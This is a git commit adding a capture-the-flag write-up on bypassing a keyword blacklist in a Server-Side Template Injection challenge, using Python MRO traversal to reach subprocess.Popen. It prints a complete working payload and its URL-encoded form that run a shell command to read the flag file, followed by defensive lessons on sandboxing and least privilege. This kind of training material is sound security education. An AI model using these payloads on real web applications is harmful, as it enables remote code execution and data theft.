Added writeups

This commit is contained in:
m0rph3us1987
2026-03-08 12:22:39 +01:00
parent a566ea77d1
commit a79656b647
43 changed files with 6940 additions and 0 deletions

View File

@@ -0,0 +1,108 @@
# Render Me This (One More Time)
Welcome to the write-up for **Render Me This (One More Time)**. This is the sequel to the previous SSTI challenge, featuring "improved" security filters.
We are once again tasked with exploiting a **Server-Side Template Injection (SSTI)** vulnerability to read the flag, but this time we must bypass a strict blacklist that blocks most standard attack vectors.
---
## 1. Initial Reconnaissance
The challenge is identical to the previous one, but with a new description:
> "We upgraded our security filters. We realized that letting people import stuff was a bad idea, so we banned all the dangerous keywords."
This implies that our previous payload (which used `import`, `os`, and `popen`) will be blocked.
## 2. Source Code Analysis
Let's examine the new `app.py` to see the restrictions:
```python
BLACKLIST = [
"import", "os", "system", "popen", "flag", "config", "eval", "exec",
"request", "url_for", "self", "g", "process",
"+", "~", "%", "format", "join", "chr", "ascii"
]
```
This is a **heavy** blacklist.
* **No Global Objects:** We cannot use `request`, `url_for`, or `self` to access the global scope (`__globals__`).
* **No String Construction:** We cannot use `+` or `join` to bypass keyword filters (e.g., `'o'+'s'` is blocked).
* **No Formatting:** We cannot use string formatting tricks.
This forces us to find a way to execute code using only the objects already available in the template context (like strings `""` or lists `[]`) and traversing their inheritance hierarchy.
## 3. The Vulnerability: MRO Traversal
In Python, every object has a method resolution order (MRO) that defines the class hierarchy. We can use this to our advantage to access powerful classes without needing to import anything.
### Step 1: Accessing the Base Object
We start with a simple empty list `[]`. In Python, `[]` is an instance of the `list` class.
`{{ [].__class__ }}` --> `<class 'list'>`
From the `list` class, we can go up one level to its parent class, which is `object`.
`{{ [].__class__.__base__ }}` --> `<class 'object'>`
### Step 2: Listing All Subclasses
The `object` class is the root of all classes in Python. Crucially, it has a method called `__subclasses__()` that returns a list of **every single class** currently loaded in the application.
`{{ [].__class__.__base__.__subclasses__() }}`
If you inject this payload into the URL (`?name={{[].__class__.__base__.__subclasses__()}}`), the page will display a massive list of classes like:
`[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ... <class 'subprocess.Popen'>, ...]`
### Step 3: Finding `subprocess.Popen`
We need to find the index of the `subprocess.Popen` class in this list. This class allows us to spawn new processes and execute system commands.
You can copy the output from the webpage into a text editor and search for "subprocess.Popen". Alternatively, you can write a small script to find the index locally (if you have the same environment).
In this specific challenge environment, `subprocess.Popen` is located at index **361**.
(Note: If 361 doesn't work, you might need to try surrounding numbers like 360 or 362, as the index can vary slightly depending on the Python version and installed libraries).
### Step 4: Instantiating Popen
Now that we have the class (at index 361), we can instantiate it just like calling a function. We want to execute a shell command.
The `Popen` constructor takes a command as a list or string. We also need to set `shell=True` to run shell commands and `stdout=-1` to capture the output.
`...[361]('command', shell=True, stdout=-1)`
### Step 5: Bypassing the "flag" Filter
We want to run `cat flag.txt`. However, the word "flag" is in the `BLACKLIST`.
We can easily bypass this using a shell wildcard: `cat fl*`.
The shell will expand `fl*` to `flag.txt` automatically.
So our command is: `'cat fl*'`
### Step 6: Reading the Output
The `Popen` object creates a process, but it doesn't return the output directly. We need to call the `.communicate()` method on the created process object. This method waits for the command to finish and returns a tuple containing `(stdout, stderr)`.
## 4. The Final Payload
Putting it all together, we construct the full injection:
1. Start with a list: `[]`
2. Get the `object` class: `.__class__.__base__`
3. Get all subclasses: `.__subclasses__()`
4. Select `subprocess.Popen`: `[361]`
5. Instantiate with command: `('cat fl*', shell=True, stdout=-1)`
6. Get output: `.communicate()`
**Final Payload:**
`{{ [].__class__.__base__.__subclasses__()[361]('cat fl*', shell=True, stdout=-1).communicate() }}`
**Encoded URL:**
`?name={{[].__class__.__base__.__subclasses__()[361]('cat%20fl*',shell=True,stdout=-1).communicate()}}`
## 5. The Solution
Submit the encoded URL to the server. The page will render the output of the command, revealing the flag.
**Flag:** `{flag:MRO_Trav3rsal_Is_The_Way_To_Go}`
---
## Lessons Learned
* **Blacklisting is Futile:** Even with strict filters blocking global objects and string manipulation, the fundamental nature of Python's object model allows for code execution via MRO traversal.
* **Sandboxing is Hard:** If you must allow user-submitted code/templates, you need a robust sandbox (like removing `__subclasses__` or using a secure template engine like Jinja2's `SandboxedEnvironment`), not just a word filter.
* **Least Privilege:** Ensure the web application runs with minimal permissions so that even if code execution is achieved, the damage is limited.